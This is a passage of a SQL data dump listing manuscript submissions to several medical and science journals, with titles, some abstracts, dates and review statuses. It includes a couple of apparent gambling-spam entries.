neuroscience',NULL,3,0,'','','',59140,NULL,'2023-11-27',NULL,'Submitted',2,NULL,'2024-01-05',NULL,1,1,'1','Proceed for Publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14325,14381,975,0,'ipjbs-23-14325','Embryology: Decoding the elegance of life\'s genesis',NULL,12,0,'','','',59141,NULL,'2023-11-27',NULL,'Submitted',2,NULL,'2024-01-05',NULL,1,1,'1','Proceed for Publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14326,14382,975,0,'ipjbs-23-14326','Cytogenetics in biomedicine: Illuminating the genetic landscape for health advancements',NULL,12,0,'','','',5410,NULL,'2023-11-27',NULL,'Submitted',2,NULL,'2024-01-08',NULL,1,1,'1','Proceed for Publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14327,14383,975,0,'ipjbs-23-14327','Fortifying health: Navigating immunity and modern treatment strategies',NULL,12,0,'','','',59094,NULL,'2023-11-27',NULL,'Submitted',2,NULL,'2024-01-08',NULL,1,1,'1','Proceed for Publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14328,14384,975,0,'ipjbs-23-14328','Precision medicine: A diagnostic odyssey in healthcare',NULL,3,0,'','','',59094,NULL,'2023-11-27',NULL,'Submitted',2,NULL,'2024-01-08',NULL,1,1,'1','Proceed for Publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14329,14385,975,0,'ipjbs-23-14329','Biostatistics in formulating medicine: A statistical foundation for drug development',NULL,3,0,'','','',59142,NULL,'2023-11-27',NULL,'Submitted',2,NULL,'2024-01-08',NULL,1,1,'1','Proceed for Publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14330,14386,975,0,'ipjbs-23-14330','Cancer pharmacology: Unraveling the complexity for targeted therapies',NULL,3,0,'','','',5422,NULL,'2023-11-27',NULL,'Submitted',2,NULL,'2024-01-08',NULL,1,1,'1','Proceed for Publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14331,14387,975,0,'ipjbs-23-14331','Hypertension Unveiled: A Comprehensive Exploration of the Silent Killer and Its Treatment Strategies',NULL,12,0,'','','',5410,NULL,'2023-11-27',NULL,'Submitted',2,NULL,'2024-02-27',NULL,1,1,'1','Proceed for Publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14332,14388,85,0,'iphspr-23-14332','The crucial role of health policy in shaping public well-being',NULL,12,0,'','Health policy plays a pivotal role in determining the overall well-being of a population. It encompasses a wide range of decisions, actions, and plans that governments and other stakeholders undertake to improve and maintain the health of individuals and communities. In this article, we will explore the significance of health policy, its components, and its impact on public health.','',3282,NULL,'2023-11-28',NULL,'Submitted',2,NULL,'2024-01-03',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(14333,14389,85,0,'iphspr-23-14333','The crucial role of health promotion in fostering holistic well-being',NULL,12,0,'','Health promotion is a multifaceted approach aimed at enhancing the overall well-being of individuals and communities. It involves empowering people to take control of their health, prevent diseases, and adopt behaviors that contribute to a higher quality of life. In recent years, the importance of health promotion has gained recognition as societies worldwide grapple with the challenges posed by an evolving healthcare landscape. This article explores the fundamental principles of health promotion, its significance in preventive healthcare, and the strategies employed to foster a culture of well-being.','',3413,NULL,'2023-11-28',NULL,'Submitted',2,NULL,'2024-01-03',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(14334,14390,86,0,'ipaom-23-14334','Chest wall tumor - An unusual presentation',NULL,2,0,'','The chest wall consists of soft tissues, cartilage and bones. A large part of the masses originates from soft tissue. Chest wall tumours constitute 5% of thoracic and less than 1% of all primary tumours; 40% and 60% are malignant. Tumours may originate primarily in the chest wall and metastasize to or extend into it via local invasion from adjacent structures. Morbidity and mortality are specific to the particular tumour type [1]. We report a case of a 42-year-old male with complaints of a painful lump on the right chest wall, which, after surgical removal, showed spindle cell sarcoma stage 2. Primary spindle cell sarcoma (SCS) is an extremely rare entity and one of the least reported tumours [2]. It is a type of connective tissue tumour that generally begins in layers of connective tissue under the skin, between muscles, and surrounding organs. Only a handful of cases have been reported around the world from a variety of body parts','Sarcoma, chest wall tumour, spindle cell carcinoma, surgery',4921,NULL,'2023-12-01',NULL,'Submitted',2,NULL,'2023-12-30',NULL,1,1,'0','Accept',0,'','',NULL,0,0,0,NULL,0),(14335,14391,45,0,'iphsj-23-14335','Exploring the Future of Healthcare: Genomic Medicine\'s Transformative Potential',NULL,5,0,'','Genomic Medicine represents a revolutionary frontier in healthcare, leveraging the intricate details encrypted within an individual\'s genetic\r\n code to redefine diagnostics, treatments, and disease prevention strategies. This abstract provides a concise overview of Genomic Medicine\'s core components, applications, challenges, and future prospects.\r\nAt its essence, Genomic Medicine revolves around comprehensive genomic sequencing, analyzing an individual\'s entire genetic blueprint to decode the complexities underlying health and disease. By unraveling genetic variations unique to each person, this field enables personalized medicine, tailoring treatments and preventive measures based on an individual\'s genetic makeup.\r\nThe applications of Genomic Medicine span various domains, notably in cancer treatment, where precision oncology targets specific genetic mutations for tailored therapies. Additionally, in the realm of rare diseases, it facilitates accurate diagnoses and potential treatment avenues. Moreover, population-level genomic data analysis aids in understanding disease prevalence and shaping public health strategies.\r\nHowever, Genomic Medicine faces challenges, including ethical considerations, data privacy, and the complexities of interpreting vast genomic datasets. Despite these hurdles, ongoing technological advancements, decreasing sequencing costs and collaborative efforts fuel optimism for its integration into routine healthcare practices.\r\nIn summary, Genomic Medicine stands as a transformative force, poised to revolutionize healthcare by offering personalized and precise approaches to disease management. As it evolves, its potential to reshape diagnostics, therapeutics, and disease prevention strategies holds promise for a more tailored and effective healthcare landscape.','Genomic Medicine; Personalized Medicine; Genetic Sequencing; Precision Medicine; Disease Prediction; Pharmacogenomics; Precision Oncology; Rare Diseases; Population Health; Ethical Considerations',686,NULL,'2023-12-01',NULL,'Submitted',2,NULL,'2023-12-04',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(14336,14392,45,0,'iphsj-23-14336','The Immune Revolution: Immunotherapy\'s Evolution in Cancer Management',NULL,19,0,'','Immunotherapy represents a ground breaking approach in cancer treatment, leveraging the body\'s immune system to combat malignancies. This review explores the fundamentals, advancements, challenges, and future prospects of immunotherapy in oncology. It discusses key immunotherapeutic modalities, including immune checkpoint inhibitors, adoptive cell transfer, and personalized medicine, elucidating their mechanisms and clinical implications. Current research endeavors, such as combination therapies and overcoming treatment resistance, are highlighted, along with the significance of clinical trials in shaping immunotherapy\'s landscape. Despite its successes, challenges persist, emphasizing the need to address treatment limitations and adverse effects. The discussion navigates the balance between promises and limitations while envisioning a future where immunotherapy transforms cancer care, offering hope for improved outcomes and personalized treatments','',643,NULL,'2023-12-01',NULL,'Submitted',2,NULL,'2023-12-04',NULL,1,1,'0','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(14337,14393,73,0,'ipjnn-23-14337','Whiplash Injury - Symptoms, Diagnosis, and Therapy',NULL,2,2,'Whiplash Injury - Symptoms, Diagnosis, and Therapy','Whiplash injuries are one of the most common factors resulting in people’s disability. This article reports a phenomenon we have observed with numerous whiplash injury patients in over 25 years of practice. \r\nA combined 400,000 whiplash injuries occur in Germany and Scandinavia annually. Ten percent of these cases require medical treatment. This is due to instability of the cranio-cervical junction, leaving patients in distress and unable to function normally, often leaving patients with manifestation of ailments resulting in inability to work and subsequently being placed on a disability program. The complexity of cranio-cephalic symptoms without clear pathomorphological findings can lead to misdiagnoses. Accurate diagnosis, in addition to imaging studies, requires specific neurotological evaluation of symptoms. A conservative treatment followed with surgery can enhance the patient’s quality of life, and reduce the need for analgesics. Although surgical stabilization of the cranio-cervical junction is effective, instability of the cranio-cervical junction requires further attention. \r\nAuthor recommends routine testing and evaluation to determine candidacy for surgery.\r\nKeywords: upper cervical joint instability\r\n','upper cervical joint instability',59084,NULL,'2023-12-02',NULL,'Submitted',2,NULL,'2024-03-13',NULL,1,1,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(14339,14395,45,0,'iphsj-23-14339','Analysis of Drug Formulary Exclusions from  the Patient\'s Perspective: 2023 Update','',14,1,'Recent Innovations in Health Science','  ','',3300,'','2023-12-04',NULL,'Submitted',2,0,'2023-12-26','',1,1,'1','',0,'','',0,0,0,0,NULL,1),(14340,14397,667,0,'iptb-23-14340','A Cross Sectional Study of Malaria Burden among Febrile Patients Attending a Healthcare Facility in Nassarawa State, Nigeria',NULL,14,0,'','Malaria is one of the world most prevalent and common parasitic disease in Nigeria and most developing countries, which contributes to high infants and maternal mortality. The study ascertained malaria burden among febrile patients attending a healthcare facility in Nasarawa state, Nigeria and present epidemiological data on malaria. Purposive sampling of patients with febrile conditions who sought treatment were adopted for the study and Rapid Diagnostic Test Kits specific for Plasmodium falciparum were used for malaria testing. Eight thousand seven hundred and eighty four participants (8784) were enrolled from January to December, 2022 for the study. Out of 8784 subjects examined, 5211(59.3%) were females while 3558(40.5%) were males, 5939 (67.6%) were positive for malaria infection and 2845 (32.4%) were negative. Out of 5939 positive patients, 2545 were males and 3394 were females. An overall prevalence rates of 67.6% were observed with higher rates among females (38.6%) than males (29.0%), among children (<=20: 12.1%) and young adults (<=40: 46.6%) with least infection rates among the elderly (41-above 61: 1.1%). Higher rate were recorded in the month of August, followed by September, October, November and December. There is significant difference (P<=0.05) and association in malaria prevalence rates with gender and age categories of patients. In conclusion, the study established a relatively high prevalence rate (67.6%) of malaria and vulnerability of children, young adults and females to malaria infection within the study location.','Malaria Burden, Prevalence, Karu L.G.A, Nasarawa state, Nigeria.  ',3459,NULL,'2023-10-27',NULL,'Submitted',2,NULL,'2024-01-24',NULL,1,1,'1','Accepted',0,'','',NULL,0,0,1,NULL,0),(14341,14398,73,0,'ipjnn-23-14341','Timing of Lumbar ESIs: Do Pre-operative  Epidural Injections Effect Lumbar Spine  Surgery Outcomes',NULL,19,1,'Current Neurology and Neuroscience Report','Hospitals are staffed by a multidisciplinary team of healthcare professionals, including doctors, nurses, technicians, and administrative staff. Each member of the team plays an essential role in providing comprehensive care to patients. Doctors diagnose and treat illnesses, while nurses provide hands-on care and medication administration. Technicians perform tests and procedures, aiding in accurate diagnoses. Administrative staff ensures the smooth running of the hospital, managing appointments, admissions, and billing.','Lumbar Spine Surgery, Epidural Steroid Injection, Quality Ouctomes',326,NULL,'2023-12-05',NULL,'Submitted',2,NULL,'2023-12-23',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(14342,14399,91,0,'ijddr-23-14342','Advancements in drug development and research on COVID-19: A comprehensive overview',NULL,12,0,'','','',59095,NULL,'2023-12-05',NULL,'Submitted',2,NULL,'2024-01-03',NULL,1,1,'1','Proceed for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14343,14400,91,0,'ijddr-23-14343','Unveiling the antibacterial potential of azalactones: A promising frontier in drug discovery',NULL,12,0,'','','',59095,NULL,'2023-12-05',NULL,'Submitted',2,NULL,'2024-01-03',NULL,1,1,'1','Proceed for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14345,14403,326,0,'IPJUS-23-14345','Exploring endometriosis surgery: A comprehensive guide  to treatment options and recovery',NULL,12,0,'','','',5413,NULL,'2023-12-06',NULL,'Submitted',2,NULL,'2024-01-02',NULL,1,1,'1','Accepted for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14346,14404,326,0,'IPJUS-23-14346','Navigating the road to ankle recovery: A comprehensive  guide to ankle surgery',NULL,12,0,'','','',59145,NULL,'2023-12-06',NULL,'Submitted',2,NULL,'2024-01-02',NULL,1,1,'1','Accepted for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14347,14405,326,0,'IPJUS-23-14347','Advancements in colorectal surgery: A comprehensive  overview',NULL,12,0,'','','',59146,NULL,'2023-12-06',NULL,'Submitted',2,NULL,'2024-01-02',NULL,1,1,'1','Accepted for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14348,14406,326,0,'IPJUS-23-14348','Transformative Precision: A deep dive into the world  of orthognathic surgery',NULL,12,0,'','','',59147,NULL,'2023-12-06',NULL,'Submitted',2,NULL,'2024-01-02',NULL,1,1,'1','Accepted for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14349,14407,326,0,'IPJUS-23-14349','Varicose vein surgery: A comprehensive guide to  treatment options and recovery',NULL,12,0,'','','',59148,NULL,'2023-12-06',NULL,'Submitted',2,NULL,'2024-01-02',NULL,1,1,'1','Accepted for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14350,14408,326,0,'IPJUS-23-14350','Exploring the depths of sinus surgery: A comprehensive  guide to nasal health',NULL,12,0,'','','',59149,NULL,'2023-12-06',NULL,'Submitted',2,NULL,'2024-01-02',NULL,1,1,'1','Accepted for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14351,14409,326,0,'IPJUS-23-14351','Pacing into the future: A comprehensive guide to pacemaker  surgery and innovations in cardiac rhythm management',NULL,12,0,'','','',59135,NULL,'2023-12-06',NULL,'Submitted',2,NULL,'2024-01-02',NULL,1,1,'1','Accepted for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14352,14410,326,0,'IPJUS-23-14352','Navigating the curves: An in-depth exploration of scoliosis  surgery and its transformative impact',NULL,12,0,'','','',59150,NULL,'2023-12-06',NULL,'Submitted',2,NULL,'2024-01-02',NULL,1,1,'1','Accepted for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14353,14411,326,0,'IPJUS-23-14353','Hydrocele surgery: Understanding the procedure, risks  and recovery',NULL,12,0,'','','',59151,NULL,'2023-12-06',NULL,'Submitted',2,NULL,'2024-01-02',NULL,1,1,'1','Accepted for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14354,14412,91,0,'ijddr-24-14354','Design, Evaluation and Comparison of Various Mucoadhesive Buccal Tablets of Fluoxetine',NULL,14,0,'',' The aim of the study was to develop a drug delivery system that could improve the therapeutic efficacy and onset of action of Fluoxetine, a commonly used antidepressant. FXT acts by blocking serotonin transport receptors. \r\nTwo different methods were used to create mucoadhesive buccal tablets containing Fluoxetine hydrochloride. The first method used was the Direct Compression Method, in this method the tablets were prepared by compressing the crystalline ingredients together. The optimized batch (B2) was selected based on the results obtained from various studies conducted. Also, a lyophilized tablet batch (L1) was prepared using the same polymer as in the B2 batch. This was achieved through the Solvent Casting Freeze Drying Method. Several studies were performed on the developed tablets, including in-vitro and ex vivo release studies, pre-formulation studies, and characterization of the tablets. Compatibility studies using techniques like DSC (Differential Scanning Calorimetry) and FTIR (Fourier Transform Infrared Spectroscopy) were conducted to ensure that the drug was compatible with the tablet components. Cytotoxicity studies were also carried out using L929 (Fibroblast) cells as a cell line model. The results of these various studies were then compared, and it was observed that the lyophilized batch (L1) demonstrated better performance than the directly compressed batch (B2).\r\nOverall, the current work highlights the development and comparison of Fluoxetine hydrochloride-containing mucoadhesive buccal tablets using different techniques. The aim was to enhance the effectiveness and convenience of Fluoxetine administration, potentially leading to improved patient compliance and faster onset of therapeutic effects in the treatment of depression.\r\n','Mucoadhesive, Depression, Lyophilization, Fluoxetine, Cytotoxicity ',1325,NULL,'2023-08-25',NULL,'Submitted',2,NULL,'2024-02-20',NULL,1,1,'0','Proceed for publication',0,'','',NULL,0,0,0,NULL,0),(14355,14413,45,0,'iphsj-23-14355','DEFINITIONS AND THE SCOPE OF HEALTH INFORMATICS',NULL,3,1,'Recent Innovations in Health Science',' ','',643,NULL,'2023-12-08',NULL,'Submitted',2,NULL,'2023-12-29',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,1),(14356,14414,45,0,'iphsj-23-14356','DIFFERENT TYPES OF CHALLENGES AND FUTURE DIRECTIONS FOR HEALTH EUITY',NULL,3,1,'Recent Innovations in Health Science',' ','',643,NULL,'2023-12-08',NULL,'Submitted',2,NULL,'2023-12-27',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,1),(14357,14415,45,0,'iphsj-23-14357','Revolutionizing Healthcare: A Comprehensive Exploration of Healthcare Innovation',NULL,11,1,'Recent Innovations in Health Science',' ','',4076,NULL,'2023-12-08',NULL,'Submitted',2,NULL,'2023-12-29',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,1),(14358,14416,45,0,'iphsj-23-14358','Telehealth Technologies and Services and its Impact on Healthcare Delivery',NULL,11,1,'Recent Innovations in Health Science','  ','',4076,NULL,'2023-12-08',NULL,'Submitted',2,NULL,'2023-12-26',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,1),(14359,14417,45,0,'iphsj-23-14359','Exploring the Role of Some Morphological Traits in Predictive Human Screening: Key Insights and Findings',NULL,14,0,'','This comprehensive exploration highlights the significance of morphogenetic traits in anthropological and forensic studies, emphasizing their potential applications in predictive human screening. Facial features, earlobe attachment, dimples, index finger ratios, chin shape, tongue rolling, hitchhiker\'s thumb, handedness, widow\'s peak, and hair nature contribute to individual identification and diverse medical contexts. While DNA sequencing remains a valuable tool, the study of these observable traits offers an alternative approach, providing insights into human diversity and addressing health concerns. This review underscores the importance of ongoing research to unlock the full potential of morphogenetic traits in enhancing our understanding of genetics, forensics, and predictive screening methodologies.','Morphological traits, screening, human screening, potential tool',4076,NULL,'2023-12-11',NULL,'Submitted',2,NULL,'2024-01-03',NULL,1,1,'0','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(14361,14419,971,0,'ipaclr-23-14361','The Study and Clinical Progress in Anesthesia Research',NULL,12,1,'Emerging Technologies in Clinical Research: Challenges and Opportunities','  ','',59152,NULL,'2023-12-13',NULL,'Submitted',2,NULL,'2024-02-24',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,1),(14362,14419,971,0,'ipaclr-23-14362','The Complexity of Immune Responses and  Therapeutic Implications: An Overview',NULL,12,1,'Emerging Technologies in Clinical Research: Challenges and Opportunities','  ','',3249,NULL,'2023-12-13',NULL,'Submitted',2,NULL,'2024-02-24',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,1),(14363,14420,971,0,'ipaclr-23-14363','The Art and Science of Laboratory Exploration from  Modern Scientific technologies',NULL,17,1,'Emerging Technologies in Clinical Research: Challenges and Opportunities','  ','',3249,NULL,'2023-12-13',NULL,'Submitted',2,NULL,'2024-02-24',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,1),(14364,14421,971,0,'ipaclr-23-14364','The Crucial Role and Necessity of Clinical and  Laboratory Trials',NULL,17,1,'Emerging Technologies in Clinical Research: Challenges and Opportunities','  ','',59153,NULL,'2023-12-13',NULL,'Submitted',2,NULL,'2024-02-24',NULL,1,1,'0',NULL,0,NULL,NULL,NULL,0,0,0,NULL,1),(14365,14422,971,0,'ipaclr-23-14365','Molecular Catalysts: Diagnostics, Treatment, and Global Health through Biomarkers',NULL,12,1,'Emerging Technologies in Clinical Research: Challenges and Opportunities','  ','',59154,NULL,'2023-12-13',NULL,'Submitted',2,NULL,'2024-02-24',NULL,1,1,'0',NULL,0,NULL,NULL,NULL,0,0,0,NULL,1),(14367,14423,959,0,'ipacr-23-14367','What are the different cross talks between HIF1-?, TGF?, integrin and ECM in mediating breast cancer?',NULL,15,3,'','Extracellular matrices (ECM) serve as the molecular scaffold for cell adhesion, migration, proliferation, and differentiation and as a repository of cytokines and molecular cues that determine cell polarization and tissue organization. The EMC alteration conducts to Integrinβ3 regroupement, after its TGFβ induced overexpression; important tumorogenesis step that mediates an amplified Integrin-Fak-Src signaling leading to aggressive tumor phenotype\\\\r\\\\nThe upstream of these events is the accumulation of stress sensor protein, HIF-1α, which in involved in a constitutive active TGFβ overexpression, epigenetic landscape remodeling and sustaining a Smad2/3 signaling by supressing VHL expression. Together, allowed TGFβ late target genes expression such as: SNAIL, MMP, Galectin, paxillin and Integrinβ3; and at the same time TGFβ early genes repression such as: p21 and E-cadherin.\\\\r\\\\nThis review highlight, subsequent to stress condition (as Hypoxia),  different feedbacks, whose HIF-1α , TGFβ , ECM alteration and Integrinβ3 interplay to promote breast cancerogenesis.\\\\r\\\\n','TGFβ,  Integrinsβ1/β3, HIF-1α, ECM, SMADs, EMT, menstrual phases swich,  Src and Breast cancerogenesis',3142,NULL,'2023-12-14',NULL,'Submitted',2,NULL,'2023-12-23',NULL,1,1,'1','Accepted',0,'','',NULL,0,0,0,NULL,0),(14368,14402,326,0,'IPJUS-23-14368','The evolution of outpatient surgery: A patient-centric  approach to healthcare',NULL,12,0,'','','',59144,NULL,'2023-12-06',NULL,'Submitted',2,NULL,'2024-01-02',NULL,1,1,'1','Accepted for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14369,14425,639,0,'ipfs-23-14369','Revolutionizing angling: The evolution of fishing technology',NULL,5,0,'','','',59155,NULL,'2023-12-15',NULL,'Submitted',2,NULL,'2024-01-05',NULL,1,1,'1','proceed for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14370,14425,639,0,'ipfs-23-14370','Sustainable fisheries management: A comprehensive approach for the future',NULL,5,0,'','','',1774,NULL,'2023-12-15',NULL,'Submitted',2,NULL,'2024-01-05',NULL,1,1,'0','proceed for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14371,14325,639,0,'ipfs-23-14371','A deep dive into the bounty of the seas: Exploring the rich world of seafood delights',NULL,3,0,'','','',1772,NULL,'2023-12-15',NULL,'Submitted',2,NULL,'2024-01-05',NULL,1,1,'1','proceed for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14372,14324,639,0,'ipfs-23-14372','Navigating the Depths: Exploring the Intricacies of Aquatic Systems',NULL,3,0,'','','',1776,NULL,'2023-12-15',NULL,'Submitted',2,NULL,'2024-01-05',NULL,1,1,'1','proceed for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14373,14324,639,0,'ipfs-23-14373','Advancements in aquaculture systems and health management: Sustaining a thriving industry',NULL,3,0,'','','',1773,NULL,'2023-12-15',NULL,'Submitted',2,NULL,'2024-01-05',NULL,1,1,'1','proceed for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14374,14322,639,0,'ipfs-23-14374','From tide to table: A deep dive into the world of seafood',NULL,3,0,'','','',1772,NULL,'2023-12-15',NULL,'Submitted',2,NULL,'2024-01-05',NULL,1,1,'1','proceed for publication ',0,NULL,NULL,NULL,0,0,0,NULL,0),(14375,14320,639,0,'ipfs-23-14375','Revolutionizing food storage: The rise of aqua food storage systems',NULL,5,0,'','','',1772,NULL,'2023-12-15',NULL,'Submitted',2,NULL,'2024-01-05',NULL,1,1,'1','proceed for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14376,14320,639,0,'ipfs-23-14376','Exploring the depths: A comprehensive journey into the intricate world of marine biology',NULL,5,0,'','','',59156,NULL,'2023-12-15',NULL,'Submitted',2,NULL,'2024-01-05',NULL,1,1,'1','proceed for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14377,14323,639,0,'ipfs-23-14377','Dive into diversity: Unveiling the wonders of aquatic ecosystems',NULL,3,0,'','','',59157,NULL,'2023-12-15',NULL,'Submitted',2,NULL,'2024-01-05',NULL,1,1,'1','proceed for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14378,14424,639,0,'ipfs-23-14378','Unveiling the enigmatic world of sea life: A Deep dive into ocean wonders',NULL,5,0,'','','',59133,NULL,'2023-12-15',NULL,'Submitted',2,NULL,'2024-01-05',NULL,1,1,'1','proceed for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14379,14421,971,0,'ipaclr-23-14379','Advancements in Gynecology Research in Women\'s  Health',NULL,11,1,'Innovation in clinical and Laboratory research','  ','',59158,NULL,'2023-12-16',NULL,'Submitted',2,NULL,'2024-02-24',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,1),(14380,14422,971,0,'ipaclr-23-14380','Scientific Advancements in Laboratory Research  Companies',NULL,11,1,'Innovation in clinical and Laboratory research','   ','',59074,NULL,'2023-12-16',NULL,'Submitted',2,NULL,'2024-02-24',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,1),(14381,14431,86,0,'ipaom-23-14381','Retropharyngeal abscess in children',NULL,5,0,'','','peritonsillar, submandibular, parapharyngeal, temporal',3192,NULL,'2023-12-21',NULL,'Submitted',2,NULL,'2023-12-27',NULL,1,1,'0','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(14382,3844,45,0,'iphsj-23-14382','BLINDNESS AND VISUAL IMPAIRMENT',NULL,5,0,'','Blindness and vision impairment are global public health issues. Vision impairment places a significant financial burden on the entire world and does not just affect one person. Estimated annual expenses of productivity losses related to vision impairment are $411 billion worldwide. Age-related or senile cataracts are the primary cause of visual impairment in adults globally (65%). According to the accessibility of eye care services, their price, and the population\'s level of eye care knowledge, there are significant differences in the causes between and within countries. In low- and middle-income countries, as opposed to high-income ones, a more significant percentage of vision impairment is related to cataracts. Glaucoma and age-related macular degeneration are more prevalent in nations with high incomes.','Cataract, Blindness, Visual Impairment, Glaucoma',4076,NULL,'2023-12-22',NULL,'Submitted',2,NULL,'2024-01-03',NULL,1,1,'0','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(14383,14432,996,0,NULL,'MACAU88',NULL,24,0,'','MACAU88','MACAU88',59159,NULL,'2023-12-22',NULL,'Submitted',5,NULL,NULL,NULL,1,0,'0',NULL,0,'','',NULL,0,0,0,NULL,0),(14384,14434,45,0,NULL,'slot88',NULL,1,0,'','slot88','',295,NULL,'2023-12-26',NULL,'Submitted',4,NULL,'2023-12-27',NULL,1,0,'0',NULL,0,'','',NULL,0,0,0,NULL,0),(14385,14435,45,0,'iphsj-23-14385','Maternal Health Transformation: Harnessing IoMT for Advanced Risk Assessment and Monitoring',NULL,14,0,'','IoT is a revolutionary breakthrough that has the potential to revolutionize critical sectors such as healthcare. This article proposes a highly effective approach to monitoring expecting mothers in remote regions of developing countries using wearable sensing technology. This technology not only tracks the health of the pregnant woman but also informs her and her family of any potential health concerns. Despite extensive research and efforts to lower maternal and fetal mortality rates, they remain persistently high. Innovative IoT technology Improving monitoring can be a significant game-changerin the health of pregnant women residing in remote areas of developing nations. Through intelligent machine learning algorithms.\r\nGiven the substantial influx of data that these healthcare systems manage, considerable advancements have also been observed in the arena of computational platforms. Scholarly literature pertinent to these subject attests to the prospective transformative influence of ICT-enabled systems in the enhancement of maternal and infant health standards. This piece of writing assesses wearable detectors and AI algorithms within pre-existing frameworks devised to anticipate potential hazards throughout the course of pregnancy and the postpartum phase, encompassing both maternal and infant aspects. The appraisal encompasses an examination of the sensors and AI algorithms integrated into these frameworks, dissecting each methodology based on its distinctive attributes, resulting effects, and pioneering elements in a sequential manner. Additionally, it engages in a discourse pertaining to the datasets employed, expounding upon the obstacles encountered while also extending insights into potential avenues for future scholarly endeavors.','Revolutionizing Maternal Healthcare with IoT, Wearable Sensors, and Artificial Intelligence.',643,NULL,'2023-12-29',NULL,'Submitted',2,NULL,'2024-01-08',NULL,1,1,'0','Accepted',0,'','',NULL,0,0,1,NULL,0),(14386,14436,45,0,'iphsj-24-14386','Caregivers\' satisfaction status with services for under-five children and associated factors at primary health care units in rural Ethiopia: measuring primary health care responsiveness',NULL,14,0,'','Abstract\r\nPurpose: Caregivers’ satisfaction with services provided to under-five children was hardly studied in the study area. Therefore, this study aimed to assess caregivers\' satisfaction and associated factors at primary health care units in rural Ethiopia.\r\nPatients and method: An institution-based cross-sectional study was conducted among 393 caregivers from April 1 to May 30, 2022, at selected primary health care units in southern Ethiopia. A systematic random sampling technique was employed to recruit participants for a face-to-face exit interview. A structured questionnaire was used to measure dependent variables and independent variables. The dependent variable was satisfaction, measured by a five-point Likert scale, ‘1’ representing very dissatisfied to ‘5’ representing very satisfied. Overall satisfaction status was defined as: caregivers who rated less than 75% of the total satisfaction score were classified as \"dissatisfied\" and those who scored >75% were classified as \"satisfied\". Descriptive statistics and binary logistic regression analyses were carried out. An adjusted odds ratio (AOR) with a 95% CI and a p-value of 0.05 was estimated to identify statistically significant variables.\r\nResults: A total of 385 participants were interviewed, giving a response rate of 97.96%. The finding showed that 70% [95% CI: 65.8–74.0] of caregivers were satisfied. Caregivers: who had received all prescribed drugs from health facility that provided the care [AOR=3.2; 95% CI (1.9-5.3)], whose child received laboratory services [AOR=3.7; 95% CI (2.0-6.5)] and for whom the provider discussed diagnosis of the child [AOR=2.1; 95% CI (1.3-3.5)] were significantly associated with satisfaction with IMNCI services.\r\nConclusion: The overall caregivers’ satisfaction with services provided to under-five children in the study area was low as compared to related studies. Receiving prescribed drugs and services from the health facility that provided care for the child and, discussing the diagnosis of the child were associated with caregivers’ satisfaction. The rural district health system should give due emphasis to patient-centered care as well as improving supplies and drugs required to provide the services.\r\n\r\n','Key words: Factors, IMNCI, Primary health care unit, satisfaction, Ethiopia',686,NULL,'2023-12-29',NULL,'Submitted',2,NULL,'2024-01-20',NULL,1,1,'0','Accept',0,'','',NULL,0,0,0,NULL,0),(14389,14438,959,0,'ipacr-24-14389','Inter-Metallic Bonds in Differentiated Thyroid Cancer: A Comprehensive Exploration',NULL,12,0,'','Differentiated thyroid cancer is a type of malignancy originating from the thyroid gland, a crucial endocrine organ located in the neck. This cancer primarily comprises two subtypes: papillary thyroid carcinoma (PTC) and follicular thyroid carcinoma (FTC). Despite being generally indolent, DTC can exhibit aggressive behavior, necessitating a deeper understanding of its underlying molecular mechanisms Differentiated thyroid cancer (DTC) is a prevalent malignancy that primarily affects the thyroid gland, with its two main subtypes being papillary thyroid carcinoma (PTC) and follicular thyroid carcinoma (FTC). In recent years, there has been growing interest in understanding the molecular mechanisms underlying thyroid cancer progression and potential therapeutic targets. This article explores the intricate inter-metallic bonds within the context of DTC, shedding light on the molecular pathways and factors contributing to its development, progression, and potential treatment 